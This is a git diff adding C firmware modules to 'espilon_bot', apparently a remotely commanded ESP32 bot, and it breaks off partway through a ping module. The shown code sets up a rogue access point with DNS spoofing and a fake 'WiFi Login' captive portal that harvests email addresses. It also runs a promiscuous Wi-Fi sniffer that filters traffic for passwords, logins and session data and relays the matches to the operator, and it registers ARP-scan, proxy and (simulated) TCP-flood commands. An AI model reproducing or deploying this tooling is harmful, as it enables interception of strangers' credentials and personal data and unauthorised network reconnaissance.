void start_access_point(const char *ssid, const char *password, bool open)
|
||||
{
|
||||
if (!auth_mutex)
|
||||
auth_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
fakeap_reset_auth();
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
|
||||
cfg.ap.ssid_len = strlen(ssid);
|
||||
cfg.ap.max_connection = MAX_CLIENTS;
|
||||
|
||||
if (open) {
|
||||
cfg.ap.authmode = WIFI_AUTH_OPEN;
|
||||
} else {
|
||||
strncpy((char *)cfg.ap.password, password, sizeof(cfg.ap.password));
|
||||
cfg.ap.authmode = WIFI_AUTH_WPA_WPA2_PSK;
|
||||
}
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
|
||||
esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
||||
esp_netif_ip_info_t ip;
|
||||
esp_netif_get_ip_info(ap, &ip);
|
||||
|
||||
esp_netif_dhcps_stop(ap);
|
||||
esp_netif_dhcps_option(
|
||||
ap,
|
||||
ESP_NETIF_OP_SET,
|
||||
ESP_NETIF_DOMAIN_NAME_SERVER,
|
||||
&ip.ip,
|
||||
sizeof(ip.ip)
|
||||
);
|
||||
esp_netif_dhcps_start(ap);
|
||||
|
||||
ip_napt_enable(ip.ip.addr, 1);
|
||||
|
||||
dns_param_t *p = calloc(1, sizeof(*p));
|
||||
p->captive_portal = open;
|
||||
|
||||
xTaskCreate(
|
||||
dns_forwarder_task,
|
||||
"dns_forwarder",
|
||||
4096,
|
||||
p,
|
||||
5,
|
||||
&dns_task_handle
|
||||
);
|
||||
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "FakeAP started (%s)", open ? "captive" : "open");
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* DNS
|
||||
* ============================================================ */
|
||||
static void send_dns_spoof(
|
||||
int sock,
|
||||
struct sockaddr_in *cli,
|
||||
socklen_t len,
|
||||
uint8_t *req,
|
||||
int req_len,
|
||||
uint32_t ip
|
||||
) {
|
||||
uint8_t resp[512];
|
||||
memcpy(resp, req, req_len);
|
||||
|
||||
resp[2] |= 0x80; // QR = response
|
||||
resp[3] |= 0x80; // RA
|
||||
resp[7] = 1; // ANCOUNT
|
||||
|
||||
int off = req_len;
|
||||
resp[off++] = 0xC0; resp[off++] = 0x0C;
|
||||
resp[off++] = 0x00; resp[off++] = 0x01;
|
||||
resp[off++] = 0x00; resp[off++] = 0x01;
|
||||
resp[off++] = 0; resp[off++] = 0; resp[off++] = 0; resp[off++] = 30;
|
||||
resp[off++] = 0; resp[off++] = 4;
|
||||
memcpy(&resp[off], &ip, 4);
|
||||
off += 4;
|
||||
|
||||
sendto(sock, resp, off, 0, (struct sockaddr *)cli, len);
|
||||
}
|
||||
|
||||
void dns_forwarder_task(void *pv)
|
||||
{
|
||||
dns_param_t *p = pv;
|
||||
bool captive = p->captive_portal;
|
||||
free(p);
|
||||
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
|
||||
struct sockaddr_in local = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(DNS_PORT),
|
||||
.sin_addr.s_addr = htonl(INADDR_ANY)
|
||||
};
|
||||
bind(sock, (struct sockaddr *)&local, sizeof(local));
|
||||
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "DNS forwarder running (captive=%d)", captive);
|
||||
msg_info(TAG, msg, NULL);
|
||||
|
||||
uint8_t buf[512];
|
||||
while (1) {
|
||||
struct sockaddr_in cli;
|
||||
socklen_t l = sizeof(cli);
|
||||
int r = recvfrom(sock, buf, sizeof(buf), 0,
|
||||
(struct sockaddr *)&cli, &l);
|
||||
if (r <= 0) continue;
|
||||
|
||||
ip4_addr_t ip;
|
||||
ip.addr = cli.sin_addr.s_addr;
|
||||
|
||||
if (captive && !fakeap_is_authenticated(ip)) {
|
||||
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
|
||||
continue;
|
||||
}
|
||||
|
||||
int up = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
struct sockaddr_in dns = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(53),
|
||||
.sin_addr.s_addr = inet_addr(UPSTREAM_DNS)
|
||||
};
|
||||
|
||||
sendto(up, buf, r, 0, (struct sockaddr *)&dns, sizeof(dns));
|
||||
r = recvfrom(up, buf, sizeof(buf), 0, NULL, NULL);
|
||||
if (r > 0)
|
||||
sendto(sock, buf, r, 0, (struct sockaddr *)&cli, l);
|
||||
close(up);
|
||||
}
|
||||
}
|
||||
123
espilon_bot/components/mod_fakeAP/mod_netsniff.c
Normal file
123
espilon_bot/components/mod_fakeAP/mod_netsniff.c
Normal file
@ -0,0 +1,123 @@
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include <ctype.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "MODULE_NET_SNIFFER";
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static bool sniffer_running = false;
|
||||
static uint32_t sniff_counter = 0;
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
static void extract_printable(
|
||||
const uint8_t *src,
|
||||
int src_len,
|
||||
char *dst,
|
||||
int dst_len
|
||||
) {
|
||||
int j = 0;
|
||||
for (int i = 0; i < src_len && j < dst_len - 1; i++) {
|
||||
if (isprint(src[i])) {
|
||||
dst[j++] = src[i];
|
||||
}
|
||||
}
|
||||
dst[j] = '\0';
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WiFi callback
|
||||
* ============================================================ */
|
||||
static void wifi_sniffer_packet_handler(
|
||||
void *buf,
|
||||
wifi_promiscuous_pkt_type_t type
|
||||
) {
|
||||
if (!sniffer_running || type != WIFI_PKT_DATA)
|
||||
return;
|
||||
|
||||
const wifi_promiscuous_pkt_t *pkt =
|
||||
(const wifi_promiscuous_pkt_t *)buf;
|
||||
|
||||
const uint8_t *frame = pkt->payload;
|
||||
uint16_t frame_len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (frame_len < 36)
|
||||
return;
|
||||
|
||||
const uint8_t *payload = frame + 24;
|
||||
int payload_len = frame_len - 24;
|
||||
if (payload_len <= 0)
|
||||
return;
|
||||
|
||||
char printable[256];
|
||||
extract_printable(payload, payload_len, printable, sizeof(printable));
|
||||
if (!printable[0])
|
||||
return;
|
||||
|
||||
const char *keywords[] = {
|
||||
"password", "login", "username", "pass",
|
||||
"email", "auth", "session", "credential",
|
||||
"secret", "admin"
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(keywords)/sizeof(keywords[0]); i++) {
|
||||
if (strstr(printable, keywords[i])) {
|
||||
|
||||
if ((sniff_counter++ % 20) != 0)
|
||||
return;
|
||||
|
||||
msg_data(
|
||||
TAG,
|
||||
printable,
|
||||
strlen(printable),
|
||||
true, /* eof */
|
||||
NULL /* request_id */
|
||||
);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* API
|
||||
* ============================================================ */
|
||||
void start_sniffer(void)
|
||||
{
|
||||
if (sniffer_running) {
|
||||
msg_info(TAG, "Sniffer already running", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
sniff_counter = 0;
|
||||
sniffer_running = true;
|
||||
|
||||
ESP_ERROR_CHECK(
|
||||
esp_wifi_set_promiscuous_rx_cb(
|
||||
wifi_sniffer_packet_handler
|
||||
)
|
||||
);
|
||||
ESP_ERROR_CHECK(esp_wifi_set_promiscuous(true));
|
||||
|
||||
msg_info(TAG, "WiFi sniffer started", NULL);
|
||||
}
|
||||
|
||||
void stop_sniffer(void)
|
||||
{
|
||||
if (!sniffer_running) {
|
||||
msg_info(TAG, "Sniffer not running", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
sniffer_running = false;
|
||||
ESP_ERROR_CHECK(esp_wifi_set_promiscuous(false));
|
||||
|
||||
msg_info(TAG, "WiFi sniffer stopped", NULL);
|
||||
}
|
||||
208
espilon_bot/components/mod_fakeAP/mod_web_server.c
Normal file
208
espilon_bot/components/mod_fakeAP/mod_web_server.c
Normal file
@ -0,0 +1,208 @@
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/inet.h"
|
||||
#include "esp_http_server.h"
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CAPTIVE_PORTAL"
|
||||
|
||||
/* ============================================================
|
||||
* Global state
|
||||
* ============================================================ */
|
||||
static httpd_handle_t captive_portal_server = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
static bool is_already_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
for (int i = 0; i < authenticated_count; i++) {
|
||||
if (authenticated_clients[i].addr == ip.addr) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void mark_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
if (is_already_authenticated(ip)) {
|
||||
ESP_LOGI(TAG, "Client already authenticated: %s",
|
||||
ip4addr_ntoa(&ip));
|
||||
return;
|
||||
}
|
||||
|
||||
if (authenticated_count >= MAX_CLIENTS) {
|
||||
ESP_LOGW(TAG, "Max authenticated clients reached");
|
||||
return;
|
||||
}
|
||||
|
||||
authenticated_clients[authenticated_count++] = ip;
|
||||
ESP_LOGI(TAG, "Client authenticated: %s",
|
||||
ip4addr_ntoa(&ip));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal page
|
||||
* ============================================================ */
|
||||
static const char *LOGIN_PAGE =
|
||||
"<!DOCTYPE html><html><head>"
|
||||
"<meta charset='utf-8'>"
|
||||
"<meta name='viewport' content='width=device-width,initial-scale=1'>"
|
||||
"<title>WiFi Login</title>"
|
||||
"<style>"
|
||||
"body{font-family:Arial;background:#f5f5f5;padding:40px}"
|
||||
".card{max-width:360px;margin:auto;background:#fff;padding:30px;"
|
||||
"border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.1)}"
|
||||
"input{width:100%;padding:10px;margin:10px 0}"
|
||||
"input[type=submit]{background:#007BFF;color:#fff;border:none}"
|
||||
"</style></head><body>"
|
||||
"<div class='card'>"
|
||||
"<h2>Connexion Internet requise</h2>"
|
||||
"<form method='POST' action='/submit'>"
|
||||
"<input type='email' name='email' required>"
|
||||
"<input type='submit' value='Se connecter'>"
|
||||
"</form></div></body></html>";
|
||||
|
||||
/* ============================================================
|
||||
* HTTP handlers
|
||||
* ============================================================ */
|
||||
static esp_err_t captive_portal_handler(httpd_req_t *req)
|
||||
{
|
||||
struct sockaddr_in addr;
|
||||
socklen_t len = sizeof(addr);
|
||||
|
||||
getpeername(httpd_req_to_sockfd(req),
|
||||
(struct sockaddr *)&addr,
|
||||
&len);
|
||||
|
||||
ip4_addr_t client_ip;
|
||||
client_ip.addr = addr.sin_addr.s_addr;
|
||||
|
||||
if (is_already_authenticated(client_ip)) {
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
httpd_resp_set_hdr(req, "Location", "https://www.google.com");
|
||||
httpd_resp_send(req, NULL, 0);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
httpd_resp_set_type(req, "text/html");
|
||||
httpd_resp_send(req, LOGIN_PAGE, HTTPD_RESP_USE_STRLEN);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t post_handler(httpd_req_t *req)
|
||||
{
|
||||
char buf[256];
|
||||
int recv = httpd_req_recv(req, buf, sizeof(buf) - 1);
|
||||
if (recv <= 0)
|
||||
return ESP_FAIL;
|
||||
|
||||
buf[recv] = '\0';
|
||||
|
||||
struct sockaddr_in addr;
|
||||
socklen_t len = sizeof(addr);
|
||||
|
||||
getpeername(httpd_req_to_sockfd(req),
|
||||
(struct sockaddr *)&addr,
|
||||
&len);
|
||||
|
||||
ip4_addr_t client_ip;
|
||||
client_ip.addr = addr.sin_addr.s_addr;
|
||||
|
||||
char *email = strstr(buf, "email=");
|
||||
if (email) {
|
||||
email += 6;
|
||||
char *end = strchr(email, '&');
|
||||
if (end) *end = '\0';
|
||||
|
||||
/* Send captured email (NOUVELLE SIGNATURE) */
|
||||
msg_data(
|
||||
TAG,
|
||||
email,
|
||||
strlen(email),
|
||||
true, /* eof */
|
||||
NULL
|
||||
);
|
||||
|
||||
mark_authenticated(client_ip);
|
||||
}
|
||||
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
httpd_resp_set_hdr(req, "Location", "https://www.google.com");
|
||||
httpd_resp_send(req, NULL, 0);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t redirect_handler(httpd_req_t *req)
|
||||
{
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
httpd_resp_set_hdr(req, "Location", CAPTIVE_PORTAL_URL);
|
||||
httpd_resp_send(req, NULL, 0);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Server control
|
||||
* ============================================================ */
|
||||
httpd_handle_t start_captive_portal(void)
|
||||
{
|
||||
if (captive_portal_server) {
|
||||
ESP_LOGW(TAG, "Captive portal already running");
|
||||
return captive_portal_server;
|
||||
}
|
||||
|
||||
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
|
||||
config.stack_size = 8192;
|
||||
config.lru_purge_enable = true;
|
||||
|
||||
ESP_LOGI(TAG, "Starting captive portal");
|
||||
|
||||
if (httpd_start(&captive_portal_server, &config) != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Failed to start HTTP server");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
httpd_uri_t root = {
|
||||
.uri = "/",
|
||||
.method = HTTP_GET,
|
||||
.handler = captive_portal_handler
|
||||
};
|
||||
httpd_register_uri_handler(captive_portal_server, &root);
|
||||
|
||||
httpd_uri_t submit = {
|
||||
.uri = "/submit",
|
||||
.method = HTTP_POST,
|
||||
.handler = post_handler
|
||||
};
|
||||
httpd_register_uri_handler(captive_portal_server, &submit);
|
||||
|
||||
httpd_uri_t redirect = {
|
||||
.uri = "/*",
|
||||
.method = HTTP_GET,
|
||||
.handler = redirect_handler
|
||||
};
|
||||
httpd_register_uri_handler(captive_portal_server, &redirect);
|
||||
|
||||
msg_info(TAG, "Captive portal started", NULL);
|
||||
return captive_portal_server;
|
||||
}
|
||||
|
||||
void stop_captive_portal(void)
|
||||
{
|
||||
if (!captive_portal_server) {
|
||||
msg_info(TAG, "Captive portal not running", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
httpd_stop(captive_portal_server);
|
||||
captive_portal_server = NULL;
|
||||
msg_info(TAG, "Captive portal stopped", NULL);
|
||||
}
|
||||
3
espilon_bot/components/mod_network/CMakeLists.txt
Normal file
3
espilon_bot/components/mod_network/CMakeLists.txt
Normal file
@ -0,0 +1,3 @@
|
||||
idf_component_register(SRCS "cmd_network.c" "mod_ping.c" "mod_proxy.c" "mod_arp.c" "mod_dos.c"
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES lwip protocol_examples_common esp_wifi core command)
|
||||
168
espilon_bot/components/mod_network/cmd_network.c
Normal file
168
espilon_bot/components/mod_network/cmd_network.c
Normal file
@ -0,0 +1,168 @@
|
||||
/*
|
||||
* cmd_network.c
|
||||
* Refactored for new command system (protobuf-based)
|
||||
*/
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
/* ============================================================
|
||||
* EXTERNAL SYMBOLS
|
||||
* ============================================================ */
|
||||
int do_ping_cmd(int argc, char **argv);
|
||||
void arp_scan_task(void *pvParameters);
|
||||
void init_proxy(char *ip, int port);
|
||||
extern int proxy_running;
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int count);
|
||||
|
||||
#define TAG "CMD_NETWORK"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ping <host> [...]
|
||||
* ============================================================ */
|
||||
static int cmd_ping(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: ping <host> [...]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return do_ping_cmd(argc + 1, argv - 1);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: arp_scan
|
||||
* ============================================================ */
|
||||
static int cmd_arp_scan(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
(void)req;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
arp_scan_task,
|
||||
"arp_scan",
|
||||
6144,
|
||||
NULL,
|
||||
5,
|
||||
NULL,
|
||||
1
|
||||
);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: proxy_start <ip> <port>
|
||||
* ============================================================ */
|
||||
static int cmd_proxy_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 2) {
|
||||
msg_error(TAG, "usage: proxy_start <ip> <port>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (proxy_running) {
|
||||
msg_error(TAG, "proxy already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
init_proxy(argv[0], atoi(argv[1]));
|
||||
msg_info(TAG, "proxy started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: proxy_stop
|
||||
* ============================================================ */
|
||||
static int cmd_proxy_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!proxy_running) {
|
||||
msg_error(TAG, "proxy not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
proxy_running = 0;
|
||||
msg_info(TAG, "proxy stopping", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: dos_tcp <ip> <port> <count>
|
||||
* ============================================================ */
|
||||
static int cmd_dos_tcp(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 3) {
|
||||
msg_error(TAG, "usage: dos_tcp <ip> <port> <count>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_dos(
|
||||
argv[0],
|
||||
(uint16_t)atoi(argv[1]),
|
||||
atoi(argv[2])
|
||||
);
|
||||
|
||||
msg_info(TAG, "DOS task started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t network_cmds[] = {
|
||||
{ "ping", 1, 8, cmd_ping, NULL, true },
|
||||
{ "arp_scan", 0, 0, cmd_arp_scan, NULL, true },
|
||||
{ "proxy_start", 2, 2, cmd_proxy_start, NULL, true },
|
||||
{ "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false },
|
||||
{ "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true }
|
||||
};
|
||||
|
||||
void mod_network_register_commands(void)
|
||||
{
|
||||
for (size_t i = 0;
|
||||
i < sizeof(network_cmds) / sizeof(network_cmds[0]);
|
||||
i++) {
|
||||
command_register(&network_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
3
espilon_bot/components/mod_network/cmd_network.h
Normal file
3
espilon_bot/components/mod_network/cmd_network.h
Normal file
@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
void mod_network_register_commands(void);
|
||||
160
espilon_bot/components/mod_network/mod_arp.c
Normal file
160
espilon_bot/components/mod_network/mod_arp.c
Normal file
@ -0,0 +1,160 @@
|
||||
/*
|
||||
* Eun0us - ARP Scan Module
|
||||
* Stream-based local network discovery
|
||||
*/
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_netif.h"
|
||||
#include "esp_netif_net_stack.h"
|
||||
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include "lwip/etharp.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "ARP_SCAN"
|
||||
#define ARP_TIMEOUT_MS 5000
|
||||
#define ARP_BATCH_SIZE 5
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Convert little/big endian safely */
|
||||
static uint32_t swap_u32(uint32_t v)
|
||||
{
|
||||
return ((v & 0xFF000000U) >> 24) |
|
||||
((v & 0x00FF0000U) >> 8) |
|
||||
((v & 0x0000FF00U) << 8) |
|
||||
((v & 0x000000FFU) << 24);
|
||||
}
|
||||
|
||||
static void next_ip(esp_ip4_addr_t *ip)
|
||||
{
|
||||
esp_ip4_addr_t tmp;
|
||||
tmp.addr = swap_u32(ip->addr);
|
||||
tmp.addr++;
|
||||
ip->addr = swap_u32(tmp.addr);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ARP scan task
|
||||
* ============================================================ */
|
||||
|
||||
void arp_scan_task(void *pvParameters)
|
||||
{
|
||||
(void)pvParameters;
|
||||
|
||||
msg_info(TAG, "ARP scan started", NULL);
|
||||
|
||||
esp_netif_t *netif_handle =
|
||||
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
|
||||
if (!netif_handle) {
|
||||
msg_error(TAG, "wifi netif not found", NULL);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
struct netif *lwip_netif =
|
||||
esp_netif_get_netif_impl(netif_handle);
|
||||
if (!lwip_netif) {
|
||||
msg_error(TAG, "lwIP netif not found", NULL);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_ip_info_t ip_info;
|
||||
esp_netif_get_ip_info(netif_handle, &ip_info);
|
||||
|
||||
/* Compute network range */
|
||||
esp_ip4_addr_t start_ip;
|
||||
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t end_ip;
|
||||
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t cur_ip = start_ip;
|
||||
|
||||
char ip_str[IP4ADDR_STRLEN_MAX];
|
||||
char json[128];
|
||||
|
||||
while (cur_ip.addr != end_ip.addr) {
|
||||
|
||||
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
|
||||
int batch_count = 0;
|
||||
|
||||
/* Send ARP requests */
|
||||
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
|
||||
next_ip(&cur_ip);
|
||||
if (cur_ip.addr == end_ip.addr)
|
||||
break;
|
||||
|
||||
etharp_request(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&cur_ip
|
||||
);
|
||||
|
||||
batch[batch_count++] = cur_ip;
|
||||
}
|
||||
|
||||
/* Wait for replies */
|
||||
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
|
||||
|
||||
/* Collect results */
|
||||
for (int i = 0; i < batch_count; i++) {
|
||||
struct eth_addr *mac = NULL;
|
||||
const ip4_addr_t *ip_ret = NULL;
|
||||
|
||||
if (etharp_find_addr(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&batch[i],
|
||||
&mac,
|
||||
&ip_ret
|
||||
) == ERR_OK && mac) {
|
||||
|
||||
esp_ip4addr_ntoa(
|
||||
&batch[i],
|
||||
ip_str,
|
||||
sizeof(ip_str)
|
||||
);
|
||||
|
||||
int len = snprintf(
|
||||
json,
|
||||
sizeof(json),
|
||||
"{"
|
||||
"\"ip\":\"%s\","
|
||||
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
|
||||
"}",
|
||||
ip_str,
|
||||
mac->addr[0], mac->addr[1], mac->addr[2],
|
||||
mac->addr[3], mac->addr[4], mac->addr[5]
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
/* 1 host = 1 streamed event */
|
||||
msg_data(
|
||||
TAG,
|
||||
json,
|
||||
len,
|
||||
false, /* eof */
|
||||
NULL
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
msg_info(TAG, "ARP scan completed", NULL);
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
102
espilon_bot/components/mod_network/mod_dos.c
Normal file
102
espilon_bot/components/mod_network/mod_dos.c
Normal file
@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Eun0us - TCP Flood Simulation Module
|
||||
* Stream-based, non-destructive (simulation only)
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "MODULE_TCP_FLOOD"
|
||||
|
||||
/* ============================================================
|
||||
* Configuration (SIMULATION)
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
char ip[16];
|
||||
uint16_t port;
|
||||
int count;
|
||||
} flood_config_t;
|
||||
|
||||
/* ============================================================
|
||||
* Simulated flood task (NO NETWORK)
|
||||
* ============================================================ */
|
||||
static void flood_sim_task(void *param)
|
||||
{
|
||||
flood_config_t *cfg = (flood_config_t *)param;
|
||||
|
||||
msg_info(TAG, "Starting TCP flood simulation", NULL);
|
||||
|
||||
for (int i = 0; i < cfg->count; i++) {
|
||||
|
||||
char line[96];
|
||||
int len = snprintf(
|
||||
line,
|
||||
sizeof(line),
|
||||
"SIM SYN -> %s:%u (%d/%d)",
|
||||
cfg->ip,
|
||||
cfg->port,
|
||||
i + 1,
|
||||
cfg->count
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(
|
||||
TAG,
|
||||
line,
|
||||
strlen(line),
|
||||
false,
|
||||
NULL);
|
||||
|
||||
}
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(5));
|
||||
}
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
msg_info(TAG, "TCP flood simulation completed", NULL);
|
||||
|
||||
free(cfg);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API (called by command)
|
||||
* ============================================================ */
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int count)
|
||||
{
|
||||
if (!t_ip || count <= 0 || count > 10000) {
|
||||
msg_error(TAG, "invalid parameters (count 1-10000)", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
flood_config_t *cfg = malloc(sizeof(flood_config_t));
|
||||
if (!cfg) {
|
||||
msg_error(TAG, "memory allocation failed", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
strncpy(cfg->ip, t_ip, sizeof(cfg->ip) - 1);
|
||||
cfg->ip[sizeof(cfg->ip) - 1] = '\0';
|
||||
cfg->port = t_port;
|
||||
cfg->count = count;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
flood_sim_task,
|
||||
"tcp_flood_sim",
|
||||
4096,
|
||||
cfg,
|
||||
5,
|
||||
NULL,
|
||||
1
|
||||
);
|
||||
}
|
||||
|
||||
182
espilon_bot/components/mod_network/mod_ping.c
Normal file
182
espilon_bot/components/mod_network/mod_ping.c
Normal file
@ -0,0 +1,182 @@
|
||||
/*
|
||||
* Eun0us - ICMP Ping Module
|
||||
* Clean & stream-based implementation
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "lwip/inet.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "esp_log.h"
|
||||
#include "ping/ping_sock.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PING"
|
||||
|
||||
static char line[256];
|
||||
|
||||
/* ============================================================
|
||||
* Ping callbacks
|
||||
* ============================================================ */
|
||||
|
||||
static void ping_on_success(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint8_t ttl;
|
||||
uint16_t seq;
|
||||
uint32_t time_ms, size;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
|
||||
